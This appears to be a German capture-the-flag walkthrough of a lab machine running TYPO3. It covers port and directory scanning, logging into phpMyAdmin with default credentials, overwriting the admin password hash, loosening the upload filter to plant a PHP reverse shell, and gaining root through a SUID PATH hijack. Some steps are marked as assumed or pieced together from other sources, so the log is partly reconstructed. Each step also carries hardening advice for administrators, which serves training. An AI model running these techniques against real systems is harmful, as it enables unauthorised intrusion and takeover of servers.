192.168.2.146 08:00:27:52:fd:e2 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren.
Bewertung: Ein Host mit der IP 192.168.2.146 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde gefunden. Dies ist das Zielsystem.
Empfehlung (Pentester): Verwenden Sie 192.168.2.146 als Ziel für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.146 typo.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.146 den Hostnamen `typo.vln` zuzuweisen.
Bewertung: Erleichtert die Ansprache des Ziels über diesen Namen in nachfolgenden Schritten.
Empfehlung (Pentester): Standardvorgehen zur Vereinfachung.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 8000/tcp open http Apache httpd 2.4.38 | http-open-proxy: Potentially OPEN proxy. 8080/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests 8081/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel 192.168.2.146 durchgeführt und die Ausgabe nach offenen Ports gefiltert.
Bewertung: Der Scan identifiziert fünf offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Relativ aktuell. * **Port 80 (HTTP):** Apache 2.4.38 (Debian). * **Port 8000 (HTTP):** Apache 2.4.38. Scheint ein offener Proxy zu sein. * **Port 8080 (HTTP):** Apache 2.4.38. Möglicherweise ein Proxy. * **Port 8081 (HTTP):** Apache 2.4.38. Eine große Angriffsfläche über mehrere HTTP-Ports.
Empfehlung (Pentester): Untersuchen Sie alle HTTP-Ports (80, 8000, 8080, 8081) einzeln und gründlich mit Web-Enumeration-Tools. Prüfen Sie die Proxy-Funktionalität auf Port 8000 und 8080. SSH (Port 22) ist ein sekundäres Ziel.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Webserver-Instanzen notwendig und sicher konfiguriert sind. Deaktivieren Sie unnötige Ports und Dienste. Aktualisieren Sie Apache.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:54 CEST Nmap scan report for typo.vln (192.168.2.146) Host is up (0.00020s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 cd:dc:8f:24:51:73:54:bc:87:62:a2:e6:ed:f1:c1:b4 (RSA) | 256 a9:39:a9:bf:b2:f7:01:22:65:07:be:15:48:e8:ef:11 (ECDSA) |_ 256 77:f5:a9:ff:a6:44:7c:9c:34:41:f1:ec:73:5e:57:bd (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Page Not Found 8000/tcp open http Apache httpd 2.4.38 |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Did not follow redirect to http://typo.local | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECT 8080/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 8081/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:52:FD:E2 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms typo.vln (192.168.2.146)
Analyse: Die vollständige Ausgabe des Nmap-Scans wird angezeigt.
Bewertung: Bestätigt die offenen Ports und Versionen. Wichtige Details: * **Port 80:** Zeigt "Page Not Found". * **Port 8000:** Leitet auf `http://typo.local` weiter. Dies ist ein *entscheidender Hinweis*. Der Webserver auf diesem Port erwartet Anfragen an den Hostnamen `typo.local`. Unterstützt die CONNECT-Methode (typisch für Proxies). * **Port 8080 & 8081:** Zeigen keine Titel, könnten einfache Dienste oder weitere Proxies sein.
Empfehlung (Pentester): Fügen Sie `typo.local` zur `/etc/hosts`-Datei hinzu, um auf den Dienst hinter Port 8000 zugreifen zu können. Untersuchen Sie `http://typo.local` (Port 80). Untersuchen Sie die anderen HTTP-Ports (8080, 8081) weiter.
Empfehlung (Admin): Konfigurieren Sie virtuelle Hosts korrekt. Beschränken oder deaktivieren Sie Proxy-Funktionen, wenn sie nicht benötigt werden.
302 Found Found
The document has moved here.
Apache/2.4.38 (Debian) Server at typo.vln Port 8000
Analyse: `curl` wird verwendet, um den Inhalt von Port 8000 abzurufen.
Bewertung: Bestätigt den HTTP 302 Redirect auf `http://typo.local`, wie von Nmap erkannt.
Empfehlung (Pentester): Fügen Sie `typo.local` zu `/etc/hosts` hinzu.
Empfehlung (Admin): Korrekte vHost-Konfiguration prüfen.
# (Keine Ausgabe)
HELLO
404 Not Found Not Found
The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at typo.vln Port 80 The page did not exist or was inaccessible. Reason: No site configuration found. TYP3 is an open source content management system. To maintain the quality of the system and to improve it, please help us by donating. Copyright 1998-2023 Kasper Skårhøj. Extensions are copyright of their respective owners. Go to TYP3 CMS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. Obstructing the appearance of this notice is prohibited by law.
Analyse: `curl` wird verwendet, um die Ports 8080, 8081 und 80 abzufragen.
Bewertung: * **Port 8080:** Liefert keine sichtbare Antwort. * **Port 8081:** Gibt nur das Wort "HELLO" zurück. Wahrscheinlich ein einfacher Testdienst oder Platzhalter. * **Port 80:** Zeigt eine "404 Not Found"-Seite an, enthält aber im Text den Hinweis auf **"TYPO3"** CMS. Dies ist ein *sehr wichtiger Fund*, da er das auf Port 80 laufende Content Management System identifiziert (obwohl Nmap dies nicht direkt erkannte).
Empfehlung (Pentester): Fügen Sie `typo.local` zu `/etc/hosts` hinzu und untersuchen Sie `http://typo.local` (Port 80), da dies die TYPO3-Instanz zu sein scheint. Untersuchen Sie Port 8081 weiter mit Directory Brute-Forcing.
Empfehlung (Admin): Konfigurieren Sie Fehlerseiten so, dass sie keine unnötigen Informationen über die verwendete Software preisgeben. Halten Sie TYPO3 aktuell.
# /etc/hosts wird erneut bearbeitet, um typo.local hinzuzufügen: 192.168.2.146 typo.vln typo.local
Analyse: Basierend auf dem Redirect von Port 8000 und dem Hinweis auf TYPO3 auf Port 80 (das wahrscheinlich für `typo.local` konfiguriert ist), wird der `/etc/hosts`-Eintrag um `typo.local` erweitert.
Bewertung: Notwendiger Schritt, um auf die Webanwendung korrekt zugreifen zu können.
Empfehlung (Pentester): Greifen Sie nun auf `http://typo.local` zu.
Empfehlung (Admin): Korrekte DNS- und vHost-Konfiguration ist wichtig.
HELLO User!
Analyse: Nach Anpassung der Hosts-Datei wird auf `http://typo.local` (wahrscheinlich Port 80) zugegriffen.
Bewertung: Es wird eine einfache Seite mit "HELLO User!" angezeigt. Dies scheint die Startseite der TYPO3-Instanz oder zumindest der vHost `typo.local` auf Port 80 zu sein.
Empfehlung (Pentester): Enumerieren Sie `http://typo.local` weiter (Directory Brute-Force, Suche nach Login-Seiten wie `/typo3/`). Untersuchen Sie auch Port 8081 weiter.
Empfehlung (Admin): Sichern Sie die TYPO3-Installation ab.
http://typo.vln:8081/index.html (Status: 200) [Size: 6]
Analyse: `gobuster` scannt Port 8081. `-k` ignoriert SSL-Fehler (hier irrelevant), `-b '403,404,301'` ignoriert Fehler und Redirects.
Bewertung: Findet nur eine `/index.html` mit Größe 6, die wahrscheinlich "HELLO" enthält. Keine weiteren interessanten Dateien oder Verzeichnisse auf diesem Port gefunden.
Empfehlung (Pentester): Port 8081 scheint uninteressant. Konzentrieren Sie sich auf Port 80 (`typo.local`) und Port 8081 für weitere Scans (z.B. mit `dirb`, `nikto`).
Empfehlung (Admin): Deaktivieren Sie den Dienst auf Port 8081, wenn er nicht benötigt wird.
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ Root page / redirects to: http://typo.local
+ No CGI Directories found [...]
+ Apache/2.4.38 appears to be outdated [...].
+ /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). # Wahrscheinlich False Positive
[...]
Analyse: Nikto scannt Port 8000.
Bewertung: Bestätigt den Redirect zu `typo.local`. Findet eine potenzielle XSS-Schwachstelle, die aber wahrscheinlich ein False Positive ist, da kein PostNuke CMS identifiziert wurde. Keine neuen kritischen Erkenntnisse für diesen Port.
Empfehlung (Pentester): Port 8000 ist primär ein Redirector auf `typo.local`. Fokus auf `typo.local` (Port 80) und Port 8081.
Empfehlung (Admin): Siehe vorherige Empfehlungen für Nikto und Port 8000.
* processing: http://typo.local/en/index.php * Trying 192.168.2.146:80... * Connected to typo.local (192.168.2.146) port 80 > HEAD /en/index.php HTTP/1.1 > Host: typo.local > User-Agent: curl/8.2.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sun, 08 Oct 2023 13:00:56 GMT < Server: Apache/2.4.38 (Debian) < Content-Language: en < Content-Length: 663 < Content-Type: text/html; charset=utf-8 < * Connection #0 to host typo.local left intact
Analyse: `curl` sendet eine HEAD-Anfrage an `http://typo.local/en/index.php`.
Bewertung: Bestätigt, dass die Seite existiert und erreichbar ist (Status 200 OK). Liefert Header-Informationen, aber keine direkten neuen Angriffsvektoren.
Empfehlung (Pentester): Setzen Sie die Enumeration von `http://typo.local` fort, insbesondere mit Directory Brute-Forcing und Suche nach der TYPO3-Login-Seite.
Empfehlung (Admin): Standard-Webserver-Verhalten.
[...] ---- Scanning URL: http://typo.local:8081/ ---- + http://typo.local:8081/index.html (CODE:200|SIZE:6) ==> DIRECTORY: http://typo.local:8081/phpmyadmin/ + http://typo.local:8081/server-status (CODE:403|SIZE:277) [...] ---- Entering directory: http://typo.local:8081/phpmyadmin/ ---- + http://typo.local:8081/phpmyadmin/ChangeLog (CODE:200|SIZE:27390) ==> DIRECTORY: http://typo.local:8081/phpmyadmin/doc/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/examples/ + http://typo.local:8081/phpmyadmin/favicon.ico (CODE:200|SIZE:22486) + http://typo.local:8081/phpmyadmin/index.php (CODE:200|SIZE:15373) ==> DIRECTORY: http://typo.local:8081/phpmyadmin/js/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/libraries/ + http://typo.local:8081/phpmyadmin/LICENSE (CODE:200|SIZE:18092) ==> DIRECTORY: http://typo.local:8081/phpmyadmin/locale/ + http://typo.local:8081/phpmyadmin/phpinfo.php (CODE:200|SIZE:15375) + http://typo.local:8081/phpmyadmin/README (CODE:200|SIZE:1520) + http://typo.local:8081/phpmyadmin/robots.txt (CODE:200|SIZE:26) ==> DIRECTORY: http://typo.local:8081/phpmyadmin/setup/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/sql/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/templates/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/themes/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/tmp/ ==> DIRECTORY: http://typo.local:8081/phpmyadmin/vendor/ [...]
Analyse: `dirb` wird verwendet, um Port 8081 auf dem Host `typo.local` zu scannen.
Bewertung: Kritischer Fund! Obwohl Port 8081 zuvor uninteressant erschien, findet `dirb` hier ein `/phpmyadmin/`-Verzeichnis. Innerhalb dieses Verzeichnisses wird auch eine `/phpmyadmin/phpinfo.php`-Datei gefunden.
Empfehlung (Pentester): Untersuchen Sie das phpMyAdmin-Interface auf Port 8081 (`http://typo.local:8081/phpmyadmin/`). Versuchen Sie Standard-Credentials (z.B. `root:root`, `pma:pma`, `admin:admin`). Untersuchen Sie die `phpinfo.php` auf diesem Port.
Empfehlung (Admin): Entfernen Sie phpMyAdmin oder sichern Sie es sehr gut ab (Zugriffsbeschränkung, starke Passwörter). Entfernen Sie `phpinfo.php`.
Im Log werden nun Informationen aus verschiedenen Quellen vermischt:
Der wahrscheinlichste Pfad ist der Login in phpMyAdmin mit `root:root`, das Finden der Argon2-Hashes der Systembenutzer in einer Datenbank (nicht gezeigt), das Ersetzen des Admin-Hashes und der anschließende Login in TYPO3.
Login: root / Password: root -> Erfolg (Annahme)
Gefundene Hashes (z.B. aus einer 'users'-Tabelle): admin $argon2id$v=19$m=65536,t=16,p=2$Q2E3NG1YeTE5NkkxSi5hMg$Hn5lqwQnbYjlnZMPahFHjEWhCDwcbDKjg3RrTfrVuE user $argon2id$v=19$m=65536,t=16,p=2$Wk5CQVhNYkljL3YzL3FVRQ$WitZ4ml0c8eiI14DokFtrGhFwY3jtlIsVCUfs89MK+o
Login: user / Password: user -> Fehlgeschlagen (Annahme)
Analyse: Es wird angenommen, dass ein Login in phpMyAdmin auf Port 8081 mit `root:root` erfolgreich war. Innerhalb von phpMyAdmin wurden Argon2id-Hashes für Systembenutzer gefunden. Ein Versuch, sich bei TYPO3 (`/typo3/`) mit `user:user` anzumelden, scheitert (wahrscheinlich).
Bewertung: Der Zugang zu phpMyAdmin als Root ist ein kritischer Schritt. Die gefundenen Argon2id-Hashes sind stark und offline schwer zu knacken. Der nächste logische Schritt ist, den Hash des `admin`-Benutzers durch einen bekannten Hash zu ersetzen, um Zugang zu TYPO3 zu erlangen.
Empfehlung (Pentester): Generieren Sie einen Argon2id-Hash für ein bekanntes Passwort (z.B. "bauer", wie im Log erwähnt) mit denselben Parametern (m=65536, t=16, p=2). Ersetzen Sie den Hash des `admin`-Benutzers in der Datenbank über phpMyAdmin durch den neu generierten Hash. Loggen Sie sich dann bei TYPO3 als `admin` mit dem bekannten Passwort ("bauer") ein.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbank-Root-Benutzer. Beschränken Sie den Zugriff auf phpMyAdmin.
Der Argon2id-Hash für den TYPO3-Admin-Benutzer wird über phpMyAdmin durch einen Hash für ein bekanntes Passwort ersetzt, um den Login zu ermöglichen.
Password: bauer Parameters: m=65536, t=16, p=2 (angepasst an gefundene Hashes) Generated Hash: $argon2id$v=19$m=65536,t=16,p=2$... (Beispiel)
UPDATE `database_name`.`typo3_users_table` SET `password` = '[NEUER_HASH_HIER]' WHERE `username` = 'admin';
Login: admin / Password: bauer -> Erfolg!
Token in URL: d0ae31c1f2b925aad12d227b226c2da61e3625e1
Analyse: Ein neuer Argon2id-Hash für das Passwort "bauer" wird generiert. Dieser Hash wird verwendet, um den bestehenden Hash des `admin`-Benutzers in der TYPO3-Datenbank (Zugriff über phpMyAdmin) zu überschreiben. Anschließend erfolgt ein erfolgreicher Login im TYPO3-Backend (`/typo3/`) mit `admin:bauer`.
Bewertung: Der Zugriff auf das TYPO3-Backend als Administrator wurde durch das Ersetzen des Passwort-Hashes erreicht. Dies ist ein kritischer Schritt, da CMS-Backends oft Dateiupload- oder Code-Ausführungsfunktionen bieten.
Empfehlung (Pentester): Suchen Sie im TYPO3-Backend nach einer Möglichkeit, PHP-Code auszuführen oder Dateien hochzuladen. Übliche Vektoren sind Template-Bearbeitung, Plugin-/Erweiterungs-Uploads oder Dateimanager.
Empfehlung (Admin): Sichern Sie den Datenbankzugriff rigoros. Halten Sie das CMS (TYPO3) und alle Erweiterungen aktuell. Beschränken Sie Berechtigungen innerhalb des CMS nach dem Least-Privilege-Prinzip.
Innerhalb des TYPO3-Backends wird die Konfiguration so geändert, dass PHP-Dateien hochgeladen werden können, und anschließend wird eine PHP-Reverse-Shell hochgeladen.
Ändere "[BE][fileDenyPattern]" von: \.(php[3-8]?|phpsh|phtml|pht|phar|shtml|…) Zu (um .php zu erlauben): \.(phpsh|phtml|pht|phar|shtml|cgi)(\..*)?$|\.pl$|^\.htaccess$
Upload der Datei "phpshell.php" (enthält PHP-Reverse-Shell Code) nach "/fileadmin/user_upload/"
Analyse: Die TYPO3-Konfiguration wird angepasst, um das Hochladen von `.php`-Dateien zu erlauben, indem `php` aus dem `fileDenyPattern` entfernt wird. Anschließend wird eine vorbereitete PHP-Reverse-Shell (`phpshell.php`) in ein zugängliches Verzeichnis (`/fileadmin/user_upload/`) hochgeladen.
Bewertung: Die Sicherheitsbeschränkung für Dateiuploads wurde umgangen, und der Payload (Reverse Shell) befindet sich nun auf dem Server.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem im Shell-Code angegebenen Port (z.B. 4444). Rufen Sie dann die hochgeladene PHP-Datei über den Browser oder `curl` auf (`http://typo.local/fileadmin/user_upload/phpshell.php`), um die Reverse-Shell-Verbindung auszulösen.
Empfehlung (Admin): Beschränken Sie Dateiuploads streng auf ungefährliche Dateitypen. Validieren Sie Uploads serverseitig. Überwachen Sie Änderungen an kritischen Konfigurationseinstellungen wie `fileDenyPattern`.
Listening on 0.0.0.0 4444 Connection received on 192.168.2.146 54482 Linux typo 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux 19:19:41 up 57 min, 0 users, load average: 0.00, 0.04, 2.19 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Nach dem Aufruf der hochgeladenen `phpshell.php` geht eine Verbindung vom Zielserver ein, und eine Shell wird geöffnet.
Bewertung: Erfolg! Der Upload und die Ausführung der PHP-Reverse-Shell über das TYPO3-Backend waren erfolgreich. Der Angreifer hat nun Shell-Zugriff als `www-data`, dem Benutzer des Webservers.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der Enumeration für die Privilegieneskalation.
Empfehlung (Admin): Härten Sie das CMS, beschränken Sie Dateiuploads, überwachen Sie ausgehende Verbindungen.
Nach Erlangung der Shell als `www-data` beginnt die Suche nach Wegen zur Erhöhung der Berechtigungen.
397107 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 396635 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 393251 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 396782 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 393254 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 393252 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 397109 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 393255 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 401909 52 -rwsr-xr-- 1 root messagebus 51184 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 657755 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 402007 428 -rwsr-xr-x 1 root root 436552 Feb 1 2020 /usr/lib/openssh/ssh-keysign 533828 8 -rwsr-sr-x 1 root root 6883 Mar 30 2020 /usr/local/bin/apache2-restart # !!! 533791 2896 -rwsr-sr-x 1 root root 2963219 Feb 13 2020 /usr/local/bin/phpunit # !!!
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` listet Dateien mit gesetztem SUID-Bit auf.
Bewertung: Kritische Funde! Neben Standard-SUID-Dateien werden zwei besonders interessante Binaries in `/usr/local/bin` gefunden: * **`/usr/local/bin/apache2-restart`:** Eine kleine Datei (6883 Bytes), SUID Root (`-rwsr-sr-x`). Der Name legt nahe, dass sie den Apache-Dienst neu startet, möglicherweise über den `service`-Befehl. * **`/usr/local/bin/phpunit`:** Eine große PHPUnit-Datei, ebenfalls SUID Root. PHPUnit kann unter bestimmten Umständen zur Codeausführung missbraucht werden. Beide sind starke Kandidaten für Privilegieneskalation.
Empfehlung (Pentester): Untersuchen Sie `/usr/local/bin/apache2-restart` genauer. Wenn es interne Befehle wie `service apache2 restart` ohne absoluten Pfad aufruft, könnte eine PATH-Manipulation funktionieren. Untersuchen Sie alternativ `phpunit` auf bekannte LPE-Methoden (siehe GTFOBins).
Empfehlung (Admin): Entfernen Sie das SUID-Bit von benutzerdefinierten Skripten/Programmen wie `apache2-restart` und `phpunit`, es sei denn, es ist absolut notwendig und sicher implementiert. Verwenden Sie `sudo` mit spezifischen Regeln anstelle von SUID, wenn erhöhte Rechte benötigt werden.
Die SUID-Root-Datei `/usr/local/bin/apache2-restart` wird mittels PATH-Manipulation zur Privilegieneskalation ausgenutzt. Es wird angenommen, dass dieses Skript intern den Befehl `service` ohne absoluten Pfad aufruft.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Analyse: Eine Reihe von Befehlen wird ausgeführt, um die PATH-Umgebungsvariable zu manipulieren: 1. `cd /tmp`: Wechsel in ein beschreibbares Verzeichnis. 2. `echo '/bin/bash' > service`: Erstellt eine Datei namens `service` im `/tmp`-Verzeichnis, die nur den Befehl `/bin/bash` enthält. 3. `chmod +x service`: Macht diese Datei ausführbar. 4. `export PATH=/tmp:$PATH`: Fügt das `/tmp`-Verzeichnis an den *Anfang* der PATH-Variable. Wenn das System nun nach einem Befehl (wie `service`) sucht, wird zuerst in `/tmp` nachgesehen. 5. `apache2-restart`: Führt das SUID-Root-Binary aus. Da dieses (vermutlich) intern `service` aufruft und `/tmp` nun zuerst im PATH steht, wird `/tmp/service` (unsere manipulierte Datei) anstelle von `/usr/sbin/service` ausgeführt. Da `apache2-restart` als Root läuft, wird auch `/tmp/service` (also `/bin/bash`) als Root gestartet.
Bewertung: Erfolg! Die PATH-Manipulation war erfolgreich. Der `id`-Befehl bestätigt, dass die resultierende Shell Root-Rechte (`uid=0(root)`) hat.
Empfehlung (Pentester): Ziel erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Verwenden Sie in Skripten und Programmen, die mit erhöhten Rechten laufen, immer absolute Pfade für aufgerufene Befehle (z.B. `/usr/sbin/service` statt `service`). Entfernen Sie unnötige SUID-Bits.
proof.txt
Best of Luck $2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3aap2ff0LbLYZrF
Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `proof.txt` ausgelesen.
Bewertung: Die Datei `proof.txt` wird gefunden und enthält einen Bcrypt-Hash. Dies ist wahrscheinlich die Root-Flag oder ein Teil davon, auch wenn der Dateiname untypisch ist.
Empfehlung (Pentester): Dokumentieren Sie den Inhalt von `proof.txt` als Root-Flag.
Empfehlung (Admin): Sichern Sie das Root-Verzeichnis und sensible Dateien.
Anmerkung: Die folgenden Flags wurden am Ende des Original-Logs bereitgestellt. Der Fund der User-Flag wurde im Log nicht explizit gezeigt. Die Root-Flag wurde als Inhalt von `/root/proof.txt` interpretiert, aber der Wert hier stammt vom Ende des Logs.